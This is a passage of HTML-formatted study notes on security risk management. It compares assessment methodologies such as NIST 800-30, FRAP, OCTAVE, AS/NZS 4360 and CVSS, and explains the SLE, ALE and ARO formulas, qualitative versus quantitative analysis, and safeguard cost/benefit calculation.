actually to exploit a vulnerability.&amp;nbsp;Must look at&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;i&gt;delayed loss&lt;/i&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;when assessing the damages that can
occur&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Methodologies for Risk
Assessment&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;Heading3Char&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;NIST
     SP 800-30&amp;nbsp;and&amp;nbsp;800-66&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;are methodologies that can be used by
     the general public, but the initial creation of 800-66&amp;nbsp;was designed
     to be implemented in the healthcare field and other regulated industries.
     While 800-66 was designed to&amp;nbsp;be used by HIPAA clients, it can also be
     readily adopted and used by other regulated industries.&amp;nbsp;The NIST
     approach is specific to IT threats and&amp;nbsp;is commonly used by security
     consultants, security officers and&amp;nbsp;internal IT departments, and
     focuses mainly on computer systems&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; margin-left: .25in; margin-right: 0in; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3 style=&quot;margin-left: .25in; mso-list: l5 level1 lfo17; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;



&lt;span style=&quot;font-family: Symbol; font-size: 10pt; line-height: 105%;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-weight: normal; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;FRAP&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Which
stands for Facilitated Risk Analysis Process. It is&amp;nbsp;designed to explore a
qualitative risk assessment process in a manner that allows for tests to be
conducted on different&amp;nbsp;aspects and variations of the methodology. This
will allow,&amp;nbsp;through the use of a prescreening process, users to determine
the areas that really demand and need risk analysis&amp;nbsp;within an
organization.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;Heading3Char&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;OCTAVE&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;(Operationally Critical Threat, Asset,
     and Vulnerability Evaluation)&amp;nbsp;was created&amp;nbsp;by Carnegie Mellon
     University&#39;s Software Engineering Institute. It is a methodology that is
     intended to be used in&amp;nbsp;situations where people manage and direct the
     risk evaluation for information security within their company.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The limitations of OCTAVE are:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ol start=&quot;1&quot; type=&quot;1&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;OCTAVE is
     incompatible with AS/NZS 4360, as it mandates Likelihood = 1 (i.e., It
     assumes a threat will always occur)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Consisting of 18
     volumes, OCTAVE is large and complex, with many worksheets and practices
     to implement.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It does not
     provide a list of “out of the box” practices for assessing and mitigating
     web application security risks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Because of these
     issues and not considering, OWASP does not anticipate that OCTAVE will be
     used at large by application designers or developers&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;Heading3Char&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;AS/NZS
     4360&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;:&amp;nbsp;While
     both the NIST and OCTAVE methodologies focus on IT threats and information
     security risks,&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;AS/NZS
     4360&lt;/b&gt;&amp;nbsp;takes a much broader approach to risk management. This
     methodology can be used to understand a company&#39;s&amp;nbsp;financial, capital,
     human safety, and business decisions risks. Although it can be used to
     analyze security risks, it was&amp;nbsp;not created specifically for this
     purpose.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background: white; line-height: 14.25pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 1.0in; margin-right: 0in; margin-top: 0in; mso-list: l0 level2 lfo20; tab-stops: list 1.0in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;;&quot;&gt;o&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The advantages of AS/NZS 4360:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
 &lt;ul type=&quot;circle&quot;&gt;
  &lt;ul type=&quot;square&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;AS/NZS
       4360 works well as a risk management methodology for organizations
       requiring Sarbanes-Oxley compliance.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;AS/NZS
       4360 works well for organizations that prefer to manage risks in a
       traditional way, such as just using likelihood and consequence to
       determine an overall risk.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;AS/NZS
       4360 is familiar to most risk managers worldwide, and your organization
       may already have implemented an AS/NZS 4360 compatible approach.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;You
       are an Australian organization, and may be required to use it if you are
       audited on a regular basis, or to justify why you aren’t using it.
       Luckily, the STRIDE/DREAD model discussed earlier is AS/NZS 4360
       compatible.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;b style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif;&quot;&gt;The limitations of AS/NZS 4360:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The
       AS/NZS 4360 approach works best for business or systemic risks than for
       technical risks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;AS/NZS
       4360 does not define the methodology to perform a structured threat risk
       modeling exercise.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l0 level3 lfo20; mso-margin-top-alt: auto; tab-stops: list 1.5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;As
       AS/NZS 4360 is a generic framework for managing risk, it does not
       provide any structured method to enumerate web application security
       risks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Although
AS/NZS 4360 may be used to rank risks for security reviews, the lack of
structured methods of enumerating threats for web applications makes it less
desirable than other methodologies described earlier.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span class=&quot;Heading3Char&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;CVSS&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif;&quot;&gt;:
     The US Department of Homeland Security (DHS) established the NIAC
     Vulnerability Disclosure Working Group, which incorporates input from Cisco
     Systems, Symantec, ISS, Qualys, Microsoft, CERT/CC, and eBay. One of the
     group’s outputs is the Common Vulnerability Scoring System (CVSS).&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Failure Modes
     and Effect Analysis (&lt;b&gt;FMEA&lt;/b&gt;) is a method for determining functions,
     identifying functional failures, and&amp;nbsp;assessing the causes of failure
     and their failure effects through a structured process.&amp;nbsp;While FMEA is
     most useful as a survey method to identify major failure modes in a given
     system, the method is not as&amp;nbsp;useful in discovering complex failure
     modes that may be involved in multiple systems or subsystems.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;i&gt;fault tree analysis&amp;nbsp;&lt;/i&gt;&lt;/b&gt;usually
     proves to be a more useful approach to identifying failures that can take
     place within more complex environments&amp;nbsp;and systems.&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Quantitative risk
analysis&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;attempts
to assign real&amp;nbsp;and meaningful numbers to all elements of the risk analysis
process. These elements may include safeguard costs, asset&amp;nbsp;value, business
impact, threat frequency, safeguard effectiveness, exploit probabilities, and
so on.&amp;nbsp;Purely quantitative risk analysis is not possible because the
method attempts to quantify qualitative items, and there are&amp;nbsp;always
uncertainties in quantitative values&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Note&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Quantitative analysis uses risk calculations that attempt
to predict the level of monetary losses and the probability&amp;nbsp;for each type
of threat. Qualitative analysis does not use calculations. Instead, it is more
opinion-and scenario based.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The
Single loss expectancy is a dollar amount that is assigned to a single event
that represents the company&#39;s potential loss amount if a&amp;nbsp;specific threat
were to take place:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp; &amp;nbsp;
     &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;b&gt;SLE =&amp;nbsp;asset value × exposure
     factor (EF)&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;exposure
factor (EF)&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;represents
the percentage of loss a realized threat could have on a certain asset&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;annualized loss
     expectancy&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;(ALE) = SLE ×
     annualized rate of occurrence (ARO)&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;annualized
rate of occurrence&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;(ARO) is the value that represents the
estimated frequency of a specific threat taking&amp;nbsp;place within a one-year
timeframe.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Qualitative Risk Analysis&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Does
not assign numbers and monetary values to components and&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;losses.
Instead, qualitative methods walk through different scenarios of risk
possibilities and rank the seriousness of the&amp;nbsp;threats and the validity of
the different possible countermeasures based on opinions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A qualitative rating would be expressed in high, medium, or low, or on a scale of 1 to 5 or 1 to 10. A quantitative result&amp;nbsp;would be expressed in dollar amounts and percentages.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;
&amp;nbsp; &amp;nbsp;In risk analysis,&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;uncertainty&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;refers to the degree to which you
lack confidence in an estimate.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The
Delphi technique&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;is a group decision method used to
ensure that each member gives an honest opinion of what he or&amp;nbsp;she thinks
the result of a particular threat will be.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Advantages of Qualitative&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Requires
no calculations&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Provides
general areas and indications of risk&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Provides
the opinions of the individuals who know the processes best.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Advantages of
Quantitative.&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Uses
independently verifiable and objective metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Is
easier to automate and evaluate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Very
less guesswork&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Provides
credible cost/benefit analysis&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Used
in risk management performance tracking&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A
security&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;countermeasure&lt;/b&gt;,
sometimes called a&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;safeguard&lt;/b&gt;,
must make good business sense, meaning it is cost-effective&amp;nbsp;(its benefit
outweighs its cost). This requires another type of analysis: a cost/benefit
analysis. A commonly used&amp;nbsp;cost/benefit calculation for a given safeguard
is&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;(ALE
before implementing safeguard) - (ALE after implementing safeguard) - (annual
cost of safeguard) = value of&amp;nbsp;safeguard to the company&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Total Risk vs. Residual
